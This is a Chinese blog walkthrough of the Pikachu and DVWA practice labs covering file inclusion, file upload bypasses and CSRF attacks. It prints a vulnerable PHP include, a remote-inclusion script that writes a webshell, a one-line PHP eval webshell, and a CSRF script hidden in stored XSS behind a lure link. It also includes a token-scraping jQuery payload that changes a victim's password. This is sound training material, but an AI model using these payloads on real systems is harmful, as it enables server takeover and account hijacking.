pikachu靶场- CSRF闯关,文件包含、文件上传

“你既知人生如戏,更应该尽力演出,搭起的舞台过了一幕又沉入暗中。此刻你在台下仰望,且把你的艳美哀伤毫不吝惜交给我,如此曲终人散后,你仍在我身心存活”生命太短,所爱的人却相忘于江湖,走散的人都没再遇……

文件包含

漏洞原理

文件包含在PHP中主要由4个函数构成:include,include_once,require,requier_once,当PHP中使用上述函数去包含任意一个文件时,该文件的内容均会被当成PHP代码来执行,由此可以有效利用该漏洞进行恶意代码注入。

源代码

<?php
$filename = $_GET['filename'];
include $filename;    // 或include_once, require, require_once
echo "欢迎来到PHP的世界.";
?>

利用条件

php.ini 中 allow_url_fopen=On (默认开启)

用户参数可控且后台代码没有对包含的文件进行过滤

如要使用远程文件包含还需要开启allow_url_include=Off (默认关闭)

pikachu本地文件包含漏洞利用

进入靶场,任意选择一名球星提交查询,这里我们选择科比,页面跳转后查看url

 可以看到存在可利用参数filename,这里我们尝试访问私密文件/etc/passwd

 它提示我们没有这个文件或目录,这是因为我们并不清楚服务器文件具体位置,使用绝对路径可行性低,这里我们采用目录穿越成功取到私密文件。

 pikachu远程文件包含漏洞利用

跟上面步骤一样,选择科比,拿到url信息

 我们在本地写入shell.txt执行程序,服务器访问我们本地服务器代码,生成webshell木马程序

<?php 
$fp=fopen('webshell.php','w');
fwrite($fp,'<?php phpinfo(); ?>');
fclose($fp);
?>

没有出现报错,说明执行成功

 使用webshell.php

文件上传

漏洞原理

未对上传文件进行有效校验,导致攻击者将木马病毒上传至服务器加以利用。

pikachu靶场漏洞利用

client check

这里我们尝试上传后缀为.php的一句话木马,发现他对后缀进行了过滤,使用burp进行拦截时也未拦截到数据包,证明数据包在发送给后台之前就进行了校验,大概率是使用js进行前端校验,使用firefox关闭js处理,上传成功。

 根据提示访问上传文件

 MIME type

有了先前的经验,猜测不会是Js前端校验,直接使用burp抓包,将1.php文件改为1.png绕过检测,在拦截数据包后对其进行修改,改为1.php

根据提示访问 

getimagesize

        getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。有点抽象,不清楚具体检测原理。

这里我们尝试改包查看报错信息

 疑似删除了.php后缀,尝试双写,php3,.hatccess,大小写绕过均不行,考虑直接在真实图片中插入图片码参考第三关

 上传成功后根据提示采用文件包含漏洞访问,访问成功表示图片生效,在无文件包含漏洞时可以写入,再利用菜刀连接。

<?php eval($_POST['code']);?>

CSRF闯关

CSRF(get)

初始界面让我们输入账号密码,直接查看提示得知拥有这么几个账户

 这里我们模拟现实场景,需要准备两台服务器

1.192.168.79.152(服务器兼受害者)lucy

2.192.168.114.164(攻击者)kobe

现在我们使用kobe账户进行登录

 修改个人信息并使用burp拦截数据包,目的是拿到修改请求的url地址

 这里我们可以看到请求数据和url地址,将url地址取出编写js代码,让受害者在点击时执行我们写好的程序,这里我们将访问者lucy的数据全部改为了我们自己kobe的数据

<script>
new Image().src="http://192.168.79.152/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767674&add=nba+lakes&email=kobe%40pikachu.com&submit=submit";	//服务器修改密码地址
alert("未知错误,请联系管理员")
location.href="http://192.168.79.152/pikachu-master/vul/xss/xss_stored.php";	//跳转回服务器
</script>

在xss存储性漏洞中埋入恶意代码,当别人点击时访问本地服务器的脚本程序修改数据,这里注意href别加双引号,不然会后删除键重合导致错误。埋好数据后等待被攻击者上钩。

<a href=http://192.168.114.164/shell.php>同城交友</a>

现在我们切换账户至lucy

 当lucy点击"同城交友"出现就已经无力回天了

这里我们可以看到lucy的信息已被修改

 CSRF(post)

同理准备两个用户和两台服务器,这次我们的受害者是

 同理先取得post数据

 再让brup生成一个CSRF代码

 同样埋入数据,grady没被同城交友吸引,被小游戏吸引了,点击小游戏

点击开始游戏

数据被修改

CSRF Token 

与GET基本相同,只是在传数据的时候加入了token进行验证,我们只需要获取一下用户的token信息即可,我这里采用jquery的方法来做,代码如下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<script src="../sign/jquery-3.4.1.min.js"></script>
<script>
setTimeout(function(){
    $(document).ready(function(){
        var tokenurl="http://192.168.79.152/DVWA-master/vulnerabilities/csrf/";
        $.get(tokenurl,function(data){
            alert(data);
            var regex=/value=\'(.*?)\'/  ////user_token\' value=\'(.*?)\'\/\>/;
            var match=data.match(regex);
            alert(match)
            var token=match[1];
            var changeurl="http://192.168.79.152/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token="+token+"#";
            // new Image().src="http://192.168.79.152/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token="+token+"#";
            // alert("未知错误,请联系管理员");           
            $.get(changeurl,function(data){
                alert(token);
                location.href="http://192.168.79.152/DVWA-master/vulnerabilities/xss_s/";
            })
        })
    })
})

</script>
<body>
    
</body>
</html>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值